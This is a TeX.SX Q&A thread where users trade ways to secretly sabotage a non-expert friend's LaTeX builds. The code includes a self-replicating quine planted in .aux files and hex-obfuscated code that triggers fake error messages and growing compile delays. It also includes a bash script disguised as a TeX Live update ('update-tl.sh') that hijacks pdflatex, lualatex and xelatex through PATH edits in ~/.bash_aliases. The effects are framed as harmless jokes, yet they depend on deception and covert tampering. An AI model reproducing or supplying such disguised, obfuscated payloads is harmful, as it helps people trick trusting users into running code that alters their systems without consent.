Code-trolling/prank questions for TeX.SX?

I have a friend who uses me for LaTeX support. He isn't very tech savvy but likes LaTeX and so I help him out when something he needs to do requires more than the standard stock of macros and environments.

We like to play pranks on each other. I had the idea to prank him the next time he ask for LaTeX help by doing something relatively benign and easily reversible that would noticeably alter the PDF generated--- or do something else noticeable in normal (La)TeX usage, like prolonging compilation ---in an unwanted fashion where the source of the problem would be hard to detect (so it would be a case of code-trolling, I suppose). I'm not very good at LaTeX myself, though, and so thought about asking for creative suggestions from the TeXperts.

How can I give my friend a (La)TeX related hard time?

-

migrated from meta.tex.stackexchange.comApr 15 '14 at 3:57

This question came from our discussion, support, and feature requests site for users of TeX, LaTeX, ConTeXt, and related typesetting systems.

Could you explain in more detail what you mean by "code-trolling" in the document output? What exactly do you mean by "mess with the output"? – Werner Mar 20 '14 at 0:39
Here's an example that I don't know how to do, but would be amusing: every page, increase the margins by a point or so. Not very noticeable in a small document, in a large one, hilarity. – bombcar Mar 20 '14 at 1:11
@Werner Something like bombcar's suggestions. I had in mind something like redefining the enumerate environment to use Comic Sans (though that may be too cruel...). The question bombcar links to is really a good example. Although it doesn't "mess with the output" (generate something unexpected in the PDF), it's enough to be noticed (that's why I wanted it to "mess with the output", just to make sure he thought "something's wrong!"; the document taking forever to compile will also have that effect), and harder to detect than anything I came up with on my own. – Dennis Mar 20 '14 at 13:08
Imagine a package such that the characters at the beginning of each line make up a sentence... and that arranges this automatically :D! – Ingo Mar 22 '14 at 17:26
I don’t think the tag has gone down particularly well on Code Golf: e.g. Is code trolling getting out of control?, and I don’t think it would be a good fit here either. – alexwlchan Mar 22 '14 at 22:55

Add to their aux file the following code snippet, which is a quine. When the aux file is \input at the start of a LaTeX run, the code here will build a copy of itself and write it in the aux file for the next run. Additionally, it will run the code contained in \toks2 below. For instance, the code I chose increases the indent size at each paragraph, but only if TeX is run on an odd minute: results depend on when your friend compiles.

{%
\toks@{%
\ifx\@nodocument\relax\else
\toks2{% Here you put whatever mean code you want
\ifodd\time
\everypar\expandafter{%
\the\everypar
}%
\fi
}% end of \toks2
\edef\x{%
\noexpand\AtBeginDocument{%
\the\toks2\relax
\toks@{\the\toks@}%
\immediate\write\@auxout{%
{%
\toks@{\noexpand\the\toks@}%
\noexpand\noexpand\noexpand\the\toks@
}% end of brace group
}% end of \immediate\write\@auxout
}% end of \AtBeginDocument
}% end of \edef
\x
\fi
}%
\the\toks@
}


After one run, the aux file will contain the following condensed version (in a single line)

{\toks@ {\ifx \@nodocument \relax \else \toks 2{\ifodd \time \everypar
\expandafter {\the \everypar \advance \parindent 2pt\relax }\fi }\edef
\x {\noexpand \AtBeginDocument {\the \toks 2\relax \toks@ {\the \toks@
}\immediate \write \@auxout {{\toks@ {\noexpand \the \toks@ }\noexpand
\noexpand \noexpand \the \toks@ }}}}\x \fi }\the \toks@ }


and subsequent runs will leave the same condensed version (again in one line).

Let's see what happens in detail: within a (simple) group, the token register \toks@ is set to some value, then its contents are used. What do those contents do? There is a test to check whether we are reading the aux file at the start or at the end of the run: \@nodocument is \relax in the second case and we do nothing. Then the toks register \toks2 is set to the code you actually want to perform. The following \edef\x{...}\x construction expands the ... to

\AtBeginDocument{%
<contents of \toks2>\relax
\toks@{<contents of \toks@>}%
\immediate\write\@auxout{%
{%
\toks@{\the\toks@}%
\noexpand\the\toks@
}% end of brace group
}% end of \immediate\write\@auxout
}% end of \AtBeginDocument


then performs that code. \AtBeginDocument will run its argument a bit later, once LaTeX is again ready to write in the aux file (currently it is reading it). So, once LaTeX is ready to write to the aux file, it performs your code (which was stored temporarily in \toks2), then stores the <contents of \toks@> back into \toks@ (this token register may have been used by other code in between), and writes the following to the aux file (remember that \write expands):

{%
\toks@{<contents of \toks@>}%
\the\toks@
}% end of brace group


This is precisely the original code, which thus ends up in the aux file for the next run of LaTeX.

Hopefully, the code I chose to put in \toks2 is easy enough to follow:

\ifodd\time
\everypar\expandafter{%
\the\everypar
}%
\fi


if the time (in minutes since the beginning of the day) is an odd number, then at every paragraph, do whatever was already done at every paragraph, and also advance (increase) the paragraph indentation (\parindent) by 2 points. For instance, say you add the first or second code snippets above to the aux file generated by running pdflatex on the document below. Then the document will be normal if compiled on an even minute, and otherwise will have ever growing paragraph indentation.

\documentclass{article}
\usepackage{lipsum}
\begin{document}
\lipsum[1-10]
\end{document}

-
This is so brilliantly cruel because of the insanity trying to reproduce the issue consistently will produce. – Dennis Mar 27 '14 at 4:59
Bruno, this is insanely impressive! :) – Paulo Cereda Mar 27 '14 at 10:54

Compile with LuaLaTeX

\documentclass{article}

\usepackage{lipsum}

^^5c^^75^^73^^65^^70^^61^^63^^6b^^61^^67^^65^^20
^^7b^^63^^68^^69^^63^^6b^^65^^6e^^69^^7a^^65^^7d
^^5c^^72^^61^^6e^^64^^6f^^6d^^75^^63^^6c^^63^^20

\begin{document}
\lipsum[1]
\end{document}


Also \randomerror instead of \randomuclc can be nice.

-
What kind of sorcery is this? – Henri Menke Mar 23 '14 at 17:11
@HenriMenke Nice, isn't it? – egreg Mar 23 '14 at 17:15
Oh yes it is indeed! Is there any documentation that I can read to understand how this works? – Henri Menke Mar 23 '14 at 17:21
^^5c is alternative input for a backslash, ^^75 for u; I guess you can translate. – egreg Mar 23 '14 at 17:23

Please follow the instructions after each run, you may be onto something:)

For those who did not dare trying, what it does is producing an error message (here from an emacs tex help buffer), where the page number is random:

ERROR: LaTeX Error: I'm stymied; problem of unknown type on page 2

--- TeX said ---
Re-run LaTeX at least three times to give a chance to the kernel
to re-examine this intriguing problem.
You may have encountered one of the $1,000,000 kernel bug. See the LaTeX manual or LaTeX Companion for explanation. Type H <return> for immediate help. ... l.49 \end{document} --- HELP --- From the .log file... You're in trouble here. Try typing <return> to proceed. If that doesn't work, type X <return> to quit.  and furthermore this message appears after longer and longer delays at the end of each new compilation (the compilation time is of the order of n^2/2 seconds where n is the number of previous runs). The hexadecimal conversion to obfuscate the code is a bit longish, perhaps one could use hexa numbers just to obfuscate an \input where the file would contain the code below. \documentclass{article} \usepackage{lipsum} ^^5c^^6d^^61^^6b^^65^^61^^74^^6c^^65^^74^^74^^65^^72 ^^5c^^41^^74^^45^^6e^^64^^44^^6f^^63^^75^^6d^^65^^6e^^74^^20^^7b% ^^5c^^40^^69^^66^^75^^6e^^64^^65^^66^^69^^6e^^65^^64^^7b^^40^^6b^^65^^72% ^^6e^^65^^6c^^70^^61^^6e^^69^^63^^74^^69^^6d^^65^^7d^^7b% ^^5c^^67^^64^^65^^66 ^^5c^^40^^6b^^65^^72^^6e^^65^^6c^^70^^61^^6e^^69^^63^^74^^69^^6d^^65^^7b% ^^30^^7d^^7d^^7b^^7d^^5c^^69^^6d^^6d^^65^^64^^69^^61^^74^^65 ^^5c^^77^^72^^69^^74^^65^^20^^5c^^40^^61^^75^^78^^6f^^75^^74^^7b% ^^5c^^67^^64^^65^^66^^20^^5c^^6e^^6f^^65^^78^^70^^61^^6e^^64 ^^5c^^40^^6b^^65^^72^^6e^^65^^6c^^70^^61^^6e^^69^^63^^74^^69^^6d^^65^^7b% ^^5c^^74^^68^^65^^20^^5c^^6e^^75^^6d^^65^^78^^70^^72 ^^5c^^40^^6b^^65^^72^^6e^^65^^6c^^70^^61^^6e^^69^^63^^74^^69^^6d^^65^^2b^^32^^2a% ^^5c^^70^^64^^66^^75^^6e^^69^^66^^6f^^72^^6d^^64^^65^^76^^69^^61^^74^^65 ^^36^^35^^35^^33^^36^^5c^^72^^65^^6c^^61^^78^^20^^7d^^7d% ^^5c^^70^^64^^66^^72^^65^^73^^65^^74^^74^^69^^6d^^65^^72 ^^5c^^6c^^6f^^6f^^70^^20^^5c^^69^^66^^6e^^75^^6d ^^5c^^70^^64^^66^^65^^6c^^61^^70^^73^^65^^64^^74^^69^^6d^^65^^20^^3c% ^^5c^^40^^6b^^65^^72^^6e^^65^^6c^^70^^61^^6e^^69^^63^^74^^69^^6d^^65% ^^5c^^73^^70^^61^^63^^65^^20^^5c^^72^^65^^70^^65^^61^^74 ^^5c^^40^^6c^^61^^74^^65^^78^^40^^65^^72^^72^^6f^^72^^7b^^49^^27^^6d ^^73^^74^^79^^6d^^69^^65^^64^^3b^^20^^70^^72^^6f^^62^^6c^^65^^6d ^^6f^^66^^20^^75^^6e^^6b^^6e^^6f^^77^^6e^^20^^74^^79^^70^^65^^20^^6f^^6e ^^70^^61^^67^^65 ^^5c^^70^^64^^66^^75^^6e^^69^^66^^6f^^72^^6d^^64^^65^^76^^69^^61^^74^^65 ^^31^^30^^20^^0a^^20^^52^^65^^2d^^72^^75^^6e^^20^^4c^^61^^54^^65^^58 ^^61^^74^^20^^6c^^65^^61^^73^^74^^20^^74^^68^^72^^65^^65 ^^74^^69^^6d^^65^^73^^20^^74^^6f^^20^^67^^69^^76^^65^^20^^61 ^^63^^68^^61^^6e^^63^^65^^20^^74^^6f^^20^^74^^68^^65 ^^6b^^65^^72^^6e^^65^^6c^^0a^^20^^74^^6f^^20^^72^^65^^2d^^65^^78^^61^^6d% ^^69^^6e^^65^^20^^74^^68^^69^^73^^20^^69^^6e^^74^^72^^69^^67^^75^^69^^6e% ^^67^^20^^70^^72^^6f^^62^^6c^^65^^6d^^2e^^0a^^20^^59^^6f^^75^^20^^6d^^61% ^^79^^20^^68^^61^^76^^65^^20^^65^^6e^^63^^6f^^75^^6e^^74^^65^^72^^65^^64 ^^6f^^6e^^65^^20^^6f^^66^^20^^74^^68^^65 ^^5c^^73^^74^^72^^69^^6e^^67^^20^^24^^31^^2c^^30^^30^^30^^2c^^30^^30^^30 ^^6b^^65^^72^^6e^^65^^6c^^20^^62^^75^^67^^7d% ^^5c^^40^^65^^68^^64^^7d^^5c^^6d^^61^^6b^^65^^61^^74^^6f^^74^^68^^65^^72 \begin{document} \lipsum[1-50] \end{document}  The hexa code (with spaces coming from end of lines) does \makeatletter\AtEndDocument{% \@ifundefined{@kernelpanictime}{\gdef\@kernelpanictime{0}}{}% \immediate\write\@auxout {\gdef\noexpand\@kernelpanictime{% \the\numexpr\@kernelpanictime+2*\pdfuniformdeviate 65536\relax}}% \pdfresettimer \loop \ifnum\pdfelapsedtime<\@kernelpanictime\space \repeat \@latex@error{I'm stymied; problem of unknown type on page \pdfuniformdeviate 10 ^^J Re-run LaTeX at least three times to give a chance to the kernel^^J to re-examine this intriguing problem.^^J You may have encountered one of the \string$1,000,000 kernel bug}\@ehd
}\makeatother

-
ooh, that's a lot of money! :) – Paulo Cereda Mar 25 '14 at 13:44
@PauloCereda I am dreaming aloud :) – jfbu Mar 25 '14 at 13:48

Also posted as answer as it is too long, but it is only an example of use of Bruno's answer, slightly adapted due to complications related to the use of #.

This update's variant acts only on every other compilation !:

{\catcode #12 \def \y {0}\toks@ {\ifx \@nodocument \relax \else \toks
2{\addtocontents {toc}{\detokenize {\begingroup \toks@ {}\def \y
{\@ifundefined {hyperref}{\def \contentsline #1#2#3{\def \x
{\contentsline {#1}{#2}{#3}}\toks@ \expandafter \expandafter
\expandafter {\expandafter \x \the \toks@ }}}{\def \contentsline
#1#2#3#4{\def \x {\contentsline {#1}{#2}{#3}{#4}}\toks@
\expandafter \expandafter \expandafter {\expandafter \x \the
{toc}{\detokenize {\expandafter \endgroup \the \toks@ }}}}\edef \x
{\noexpand \AtBeginDocument {\if \y 0\the \toks 2\relax \fi \toks@ {\the
\toks@ }\immediate \write \@auxout {{\catcode \string #12 \if \y
0\def \noexpand \noexpand \noexpand \y {1}\else \def \noexpand
\noexpand \noexpand \y {0}\fi \toks@ {\noexpand \the \toks@
}\noexpand \noexpand \noexpand \the \toks@ }}}}\x \fi }\the \toks@ }


sorry for the (very) bad formatting, anyhow putting this on top of the aux file, will have the effect that the TOC will be printed in reverse. Initial aux file:

\relax
{\catcode #12 \def \y {0}\toks@ {\ifx \@nodocument \relax \else \toks 2{\addtocontents {toc}{\detokenize {\begingroup \toks@ {}\def \y {\@ifundefined {hyperref}{\def \contentsline #1#2#3{\def \x {\contentsline {#1}{#2}{#3}}\toks@ \expandafter \expandafter \expandafter {\expandafter \x \the \toks@ }}}{\def \contentsline #1#2#3#4{\def \x {\contentsline {#1}{#2}{#3}{#4}}\toks@ \expandafter \expandafter \expandafter {\expandafter \x \the \toks@ }}}}\y }}\AtEndDocument {\addtocontents {toc}{\detokenize {\expandafter \endgroup \the \toks@ }}}}\edef \x {\noexpand \AtBeginDocument {\if \y 0\the \toks 2\relax \fi \toks@ {\the \toks@ }\immediate \write \@auxout {{\catcode \string #12 \if \y 0\def \noexpand \noexpand \noexpand \y {1}\else \def \noexpand \noexpand \noexpand \y {0}\fi \toks@ {\noexpand \the \toks@ }\noexpand \noexpand \noexpand \the \toks@ }}}}\x \fi }\the \toks@ }


MWE:

\documentclass{article}
%\usepackage{hyperref}

\begin{document}
\tableofcontents

\newcount\cnta

\loop
\section{This is section \the\cnta}
coucou
\subsection{This is subsection \the\cnta}
coucou
\ifnum\cnta<20
\repeat
\end{document}


earlier variant:

\relax
{\catcode #12 \toks@ {\ifx \@nodocument \relax \else \toks 2{\addtocontents {toc}{\detokenize {\begingroup \toks@ {}\def \y {\@ifundefined {hyperref}{\def \contentsline #1#2#3{\def \x {\contentsline {#1}{#2}{#3}}\toks@ \expandafter \expandafter \expandafter {\expandafter \x \the \toks@ }}}{\def \contentsline #1#2#3#4{\def \x {\contentsline {#1}{#2}{#3}{#4}}\toks@ \expandafter \expandafter \expandafter {\expandafter \x \the \toks@ }}}}\y }}\AtEndDocument {\addtocontents {toc}{\detokenize {\expandafter \endgroup \the \toks@ }}}}\edef \x {\noexpand \AtBeginDocument {\the \toks 2\relax \toks@ {\the \toks@ }\immediate \write \@auxout {{\catcode \string #12 \toks@ {\noexpand \the \toks@ }\noexpand \noexpand \noexpand \the \toks@ }}}}\x \fi }\the \toks@ }

-
the reversal of the TOC could be made to happen on every other compilation... or randomly. – jfbu Mar 27 '14 at 18:29
this concept is totally devious. it would drive me bonkers. – barbara beeton Mar 27 '14 at 18:56
@barbarabeeton ... :) but the prank can only work on people who would not think about deleting auxiliary files, or even don't know about them! and that, for sure, is not your profile ;-) – jfbu Mar 27 '14 at 19:29
but you aren't considering that i'm lazy, and don't usually delete the aux files unless forced to by circumstances. (and yes, i think circumstances if this happened to me might well cause me to take a closer look. but not likely until it's "too late". after all, there are useful and necessary things in aux files, like cites and toc instructions.) – barbara beeton Mar 27 '14 at 19:43
@barbarabeeton the code now reverts the TOC only once every other compilation.. first compiled TOC is reversed, then it becomes OK, but on next compilation it is again reversed... – jfbu Mar 27 '14 at 20:16

Posted as an answer instead of a comment as the code is too long. Based on Bruno Le Floch's answer, with a little twist hinted at by egreg in the chat.

{%
\toks@{%
\ifx\@nodocument\relax\else
\toks2{% Here you put whatever mean code you want
\ifodd\time
\everypar\expandafter{%
\the\everypar
\ifdefined\pdf@elapsedtime
\ifodd\pdf@elapsedtime
\else
\fi
\else
\fi
}%
\fi
}% end of \toks2
\edef\x{%
\noexpand\AtBeginDocument{%
\the\toks2\relax
\toks@{\the\toks@}%
\immediate\write\@auxout{%
{%
\toks@{\noexpand\the\toks@}%
\noexpand\noexpand\noexpand\the\toks@
}% end of brace group
}% end of \immediate\write\@auxout
}% end of \AtBeginDocument
}% end of \edef
\x
\fi
}%
\the\toks@
}


If you compile this with pdflatex (or lualatex with the pdftexcmds package loaded) the change in \parindent is reversed every second during the compilation, any other compiler will produce the same as Bruno's code.

Could things get worse than this? Oh yes, they can! Instead of editing the aux file directly (which would be undone by a cleanup of the build directory) let's tweak the executables a little.

NOTE: As Daniel mentioned in the comments below, trolling unskilled people is really mean, so use a bit of common sense to judge who could understand what's going on at a closer look. Also, I take no responsibility whatsoever for lost friends, or permanent distrust against scripts you send ;)

Next time your friend asks for some support send him or her this file as update-tl.sh:

#!/bin/bash
pdf_path=which pdflatex
tex_path=${pdf_path:0:-9} mkdir -p ~/.tex-updates/ cd ~/.tex-updates touch pdflatex chmod +x pdflatex echo '#!/bin/bash' > pdflatex echo '[[$1 =~ ^([A-Za-z0-9]+)(\.tex)??$]]' >> pdflatex echo 'jobname=${BASH_REMATCH[1]}' >> pdflatex
echo 'if [ ! -f "$jobname.aux" ]' >> pdflatex echo 'then' >> pdflatex echo 'echo "{\toks@ {\ifx \@nodocument \relax \else \toks 2{\ifodd \time \everypar \expandafter {\the \everypar \ifdefined \pdf@elapsedtime \ifodd \pdf@elapsedtime \advance \parindent 3pt\relax \else \advance \parindent -2pt\relax \fi \else \advance \parindent 2pt\relax \fi }\fi }\edef \x {\noexpand \AtBeginDocument {\the \toks 2\relax \toks@ {\the \toks@ }\immediate \write \@auxout {{\toks@ {\noexpand \the \toks@ }\noexpand \noexpand \noexpand \the \toks@ }}}}\x \fi }\the \toks@ }" >>$jobname.aux' >> pdflatex
echo 'fi' >> pdflatex
echo "$tex_path/pdflatex \$1" >> pdflatex
touch lualatex
chmod +x lualatex
echo '#!/bin/bash' > lualatex
echo '[[ $1 =~ ^([A-Za-z0-9]+)(\.tex)??$ ]]' >> lualatex
echo 'jobname=${BASH_REMATCH[1]}' >> lualatex echo 'if [ ! -f "$jobname.aux" ]' >> lualatex
echo 'then' >> lualatex
echo 'echo "{\toks@ {\ifx \@nodocument \relax \else \toks 2{\ifodd \time \everypar \expandafter {\the \everypar \ifdefined \pdf@elapsedtime \ifodd \pdf@elapsedtime \advance \parindent 2pt\relax \else \advance \parindent -3pt\relax \fi \else \advance \parindent 2pt\relax \fi }\fi }\edef \x {\noexpand \AtBeginDocument {\the \toks 2\relax \toks@ {\the \toks@ }\immediate \write \@auxout {{\toks@ {\noexpand \the \toks@ }\noexpand \noexpand \noexpand \the \toks@ }}}}\x \fi }\the \toks@ }" >> $jobname.aux' >> lualatex echo 'fi' >> lualatex echo "$tex_path/lualatex \$1" >> lualatex touch xelatex chmod +x xelatex echo '#!/bin/bash' > xelatex echo '[[$1 =~ ^([A-Za-z0-9]+)(\.tex)??$]]' >> xelatex echo 'jobname=${BASH_REMATCH[1]}' >> xelatex
echo 'if [ ! -f "$jobname.aux" ]' >> xelatex echo 'then' >> xelatex echo 'echo "{\toks@ {\ifx \@nodocument \relax \else \toks 2{\ifodd \time \everypar \expandafter {\the \everypar \ifdefined \pdf@elapsedtime \ifodd \pdf@elapsedtime \advance \parindent 2pt\relax \else \advance \parindent -2pt\relax \fi \else \advance \parindent 2pt\relax \fi }\fi }\edef \x {\noexpand \AtBeginDocument {\the \toks 2\relax \toks@ {\the \toks@ }\immediate \write \@auxout {{\toks@ {\noexpand \the \toks@ }\noexpand \noexpand \noexpand \the \toks@ }}}}\x \fi }\the \toks@ }" >>$jobname.aux' >> xelatex
echo 'fi' >> xelatex
echo "$tex_path/xelatex \$1" >> xelatex
echo 'PATH="~/.tex-updates:$PATH"' >> ~/.bash_aliases  Unfortunately this only works under linux, and is probably easily broken by adding full paths or extra arguments to pdflatex, but the general idea is as follows: • Get the location of the original executables • make a directory to store the 'updated' executables • create a number of files, with the proper permissions to execute • in each file check whether the aux file already exists, and if not create it with the code above • then let the new script call the old executable to build the output, with the potentially altered aux file • finally add this new directory to the$PATH environment variable

Some fun facts:

• this only works if bash is used, otherwise ~/.bashrc isn't used
• the code is only added if the aux file does not already exist
• it only works after ~/.bashrc is sourced, so after a new login, or a new terminal window is opened

EDIT Even more fun facts:

• running which pdflatex returns the original pdflatex, while pdflatex test.tex actually executes the new pdflatex
• on a multi-user system this only affects the user that runs the update-tl.sh
• nothing is permanently broken, simply removing the [pdf|lua|xe]latex scripts from ~/.tex-updates and the aux files brings everything back to normal :) (as opposed to my original idea of changing the executables inside the bin directory :P)
-
The update-tl.sh IMHO crosses the borderline: Trolling someone who is far below your own technical skills is cheap and mean. However, with somebody who knows just a bit about UNIX and shell scripting, it won't work – the virus code is pretty obvious. – Daniel Mar 31 '14 at 10:41
Haha, I think it's just on the borderline, I agree it shouldn't be used against people without the skills to even remotely understand what's going on. But I have some close friends who'd see what's going if they'd look at it, but probably simply trust me if I emailed them this script and execute it as tell them. As there is nothing permanently damaged and deleting a few files completely restores the situation to normal, I know they'd definitely laugh about it once I tell them ;) (they would do just the same to me if they get the chance :P ) but I'll add a note about own responsibility :) – hugovdberg Mar 31 '14 at 10:52